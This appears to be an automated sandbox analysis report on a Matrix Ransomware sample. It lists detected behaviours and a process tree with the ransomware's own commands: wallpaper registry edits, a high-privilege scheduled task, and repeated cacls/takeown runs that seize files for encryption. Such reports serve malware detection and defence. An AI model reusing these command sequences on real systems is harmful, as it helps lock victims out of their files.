Analysis
-
max time kernel
1197s -
max time network
1175s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
17-05-2024 13:35
General
-
Target
http://Google.com
Score
10/10
Malware Config
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Drops file in Drivers directory 1 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 64 IoCs
-
Modifies file permissions 1 TTPs 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops desktop.ini file(s) 27 IoCs
-
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies data under HKEY_USERS 2 IoCs
-
Modifies registry class 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 42 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 36 IoCs
-
Suspicious use of SendNotifyMessage 24 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://Google.com1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcb7b9ab58,0x7ffcb7b9ab68,0x7ffcb7b9ab782⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1612 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2208 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2972 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2980 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4252 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3456 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4556 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4544 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1552 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4776 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5016 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4600 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
- Executes dropped EXE
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4596 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5012 --field-trial-handle=1856,i,14483029040627338408,10210231764409776631,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\" -ad -an -ai#7zMap15429:190:7zEvent162951⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\" -ad -an -ai#7zMap21063:190:7zEvent247231⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270.exe"C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270.exe"1⤵
- Matrix Ransomware
- Executes dropped EXE
- Drops desktop.ini file(s)
- Enumerates connected drives
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270.exe" "C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\NWhtwTL5.exe"2⤵
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\NWhtwTL5.exe"C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\NWhtwTL5.exe" -n2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\KlHGMTit.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\KlHGMTit.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\NMIjTWae.vbs"2⤵
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\NMIjTWae.vbs"3⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\8qCyH3KW.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\8qCyH3KW.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Google\Chrome\Application\110.0.5481.104\Locales\en-US.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Google\Chrome\Application\110.0.5481.104\Locales\en-US.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Google\Chrome\Application\110.0.5481.104\Locales\en-US.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "en-US.pak" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "en-US.pak" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LTak7xej64.exeLTak7xej.exe -accepteula "en-US.pak" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Google\Chrome\Application\110.0.5481.104\resources.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Google\Chrome\Application\110.0.5481.104\resources.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Google\Chrome\Application\110.0.5481.104\resources.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "resources.pak" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "resources.pak" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "store.db" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ActivitiesCache.db" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ActivitiesCache.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "heavy_ad_intervention_opt_out.db" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "heavy_ad_intervention_opt_out.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_100_percent.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_100_percent.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_100_percent.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "chrome_100_percent.pak" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "chrome_100_percent.pak" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_200_percent.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_200_percent.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_200_percent.pak"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "chrome_200_percent.pak" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "chrome_200_percent.pak" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "classes.jsa" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "store.db" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa"3⤵
-
-
